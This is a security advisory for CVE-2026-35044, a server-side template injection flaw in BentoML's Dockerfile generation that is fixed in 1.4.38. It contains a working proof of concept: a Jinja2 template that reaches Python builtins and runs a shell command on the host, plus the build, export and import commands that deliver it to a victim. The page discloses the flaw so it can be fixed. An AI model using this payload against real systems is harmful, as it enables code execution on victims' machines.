BentoML: SSTI via Unsandboxed Jinja2 in Dockerfile Generation
High8.8CVE-2026-35044 · Published Apr 3, 2026 · updated Jun 8, 2026
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| bentoml PyPI | < 1.4.38 | 1.4.38 |
Details and references
## Summary The Dockerfile generation function `generate_containerfile()` in `src/bentoml/_internal/container/generate.py` uses an unsandboxed `jinja2.Environment` with the `jinja2.ext.do` extension to render user-provided `dockerfile_template` files. When a victim imports a malicious bento archive and runs `bentoml containerize`, attacker-controlled Jinja2 template code executes arbitrary Python directly on the host machine, bypassing all container isolation. ## Details The vulnerability exists in the `generate_containerfile()` function at `src/bentoml/_internal/container/generate.py:155-157`: ```python ENVIRONMENT = Environment( extensions=["jinja2.ext.do", "jinja2.ext.loopcontrols", "jinja2.ext.debug"], trim_blocks=True, lstrip_blocks=True, loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True), ) ``` This creates an **unsandboxed** `jinja2.Environment` with two dangerous extensions: - `jinja2.ext.do` , enables `{% do %}` tags that execute arbitrary Python expressions - `jinja2.ext.debug` , exposes internal template engine state **Attack path:** 1. **Attacker builds a bento** with `dockerfile_template` set in `bentofile.yaml`. During `bentoml build`, `DockerOptions.write_to_bento()` (`build_config.py:272-276`) copies the template file into the bento archive at `env/docker/Dockerfile.template`: ```python if self.dockerfile_template is not None: shutil.copy2( resolve_user_filepath(self.dockerfile_template, build_ctx), docker_folder / "Dockerfile.template", ) ``` 2. **Attacker exports** the bento as a `.bento` or `.tar.gz` archive and distributes it (via S3, HTTP, direct sharing, etc.). 3. **Victim imports** the bento with `bentoml import bento.tar` , no validation of template content is performed. 4. **Victim containerizes** with `bentoml containerize`. The `construct_containerfile()` function (`__init__.py:198-204`) detects the template and sets the path: ```python docker_attrs["dockerfile_template"] = "env/docker/Dockerfile.template" ``` 5. **`generate_containerfile()`** (`generate.py:181-192`) loads the attacker-controlled template into the unsandboxed Environment and renders it at line 202: ```python user_templates = docker.dockerfile_template if user_templates is not None: dir_path = os.path.dirname(resolve_user_filepath(user_templates, build_ctx)) user_templates = os.path.basename(user_templates) TEMPLATES_PATH.append(dir_path) environment = ENVIRONMENT.overlay( loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True) ) template = environment.get_template( user_templates, globals={"bento_base_template": template, **J2_FUNCTION}, ) # ... return template.render(...) # <-- SSTI executes here, on the HOST ``` **Critical distinction**: Commands in `docker.commands` or `docker.post_commands` execute *inside* the Docker build container (isolated). SSTI payloads execute Python directly on the **host machine** during template rendering, *before* Docker is invoked. This bypasses all container isolation. ## PoC **Step 1: Create malicious template `evil.j2`:** ```jinja2 {% extends bento_base_template %} {% block SETUP_BENTO_COMPONENTS %} {{ super() }} {% do namespace.__init__.__globals__['__builtins__']['__import__']('os').system('id > /tmp/pwned') %} {% endblock %} ``` **Step 2: Create `bentofile.yaml` referencing the template:** ```yaml service: 'service:MyService' docker: dockerfile_template: ./evil.j2 ``` **Step 3: Attacker builds and exports:** ```bash bentoml build bentoml export myservice:latest bento.tar ``` **Step 4: Victim imports and containerizes:** ```bash bentoml import bento.tar bentoml containerize myservice:latest ``` **Step 5: Verify host code execution:** ```bash cat /tmp/pwned # Output: uid=1000(victim) gid=1000(victim) groups=... ``` The SSTI payload executes on the host during template rendering, before any Docker container is created. **Standalone verification that the Jinja2 Enviro
- CVSS 3.1
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
- Severity from
- GitHub (reviewed advisory)
- Weakness
- CWE-1336
- Also known as
- CVE-2026-35044, PYSEC-2026-159
More BentoML advisories
All BentoML| Date | Advisory | Severity | Fixed in |
|---|---|---|---|
| Apr 3 | BentoML: Command Injection in cloud deployment setup script CVE-2026-35043High7.8fixed in 1.4.38 | High7.8 | 1.4.38 |
| Mar 26 | BentoML has Dockerfile Command Injection via system_packages in bentofile.yaml CVE-2026-33744High7.8fixed in 1.4.37 | High7.8 | 1.4.37 |
| Mar 3 | BentoML Vulnerable to Arbitrary File Write via Symlink Path Traversal in Tar Extraction CVE-2026-27905Highfixed in 1.4.36 | High | 1.4.36 |
| May 7 | BentoML has Information Disclosure in `bentoml build` via symlink traversal in the build context CVE-2026-40610Medium5.5fixed in 1.4.39 | Medium5.5 | 1.4.39 |
| May 11 | BentoML Dockerfile command injection via docker.base_image (sister of pending GHSA-w2pm-x38x-jp44 / CVE-2026-33744 / CVE-2026-35043) CVE-2026-44345High8.8fixed in 1.4.39 | High8.8 | 1.4.39 |
| May 11 | Dockerfile command injection via envs[*].name in bentofile.yaml (sibling fix-bypass of CVE-2026-33744 and CVE-2026-35043) CVE-2026-44346High8.8fixed in 1.4.39 | High8.8 | 1.4.39 |